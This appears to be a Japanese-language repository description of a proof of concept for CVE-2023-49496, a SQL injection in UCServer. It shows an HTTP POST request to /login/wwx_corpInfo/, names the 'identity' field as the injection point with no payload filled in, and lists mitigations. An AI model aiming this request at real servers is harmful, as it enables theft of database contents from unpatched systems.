huangyanqwq/cve-2023-49496_pocCVE-2023-49496の概念実証エクスプロイト。UCServerの /login/wwx_corpInfo/ エンドポイントを介したSQLインジェクションを実証し、機密データベース情報を抽出します。
UCServerは、先進的な統合コミュニケーションサーバーです。上海澍品信息科技有限公司のUCServerにはSQLインジェクションの脆弱性が存在し、攻撃者はこの脆弱性を悪用してデータベースの機密情報を取得する可能性があります。
POST /login/wwx_corpInfo/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://example.com/
Content-Length: 132
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: example.com
Proxy-Connection: Keep-alive
&identity=
POSTリクエストボディ内の "identity" がインジェクションポイントです
Webサイトファイアウォールを有効にする；"/login/wwx_corpInfo/" パスへのすべてのIPアクセスを禁止する；データベースが外部からのリモート接続を受け付けないようにする；データベースのバージョンをアップグレードする。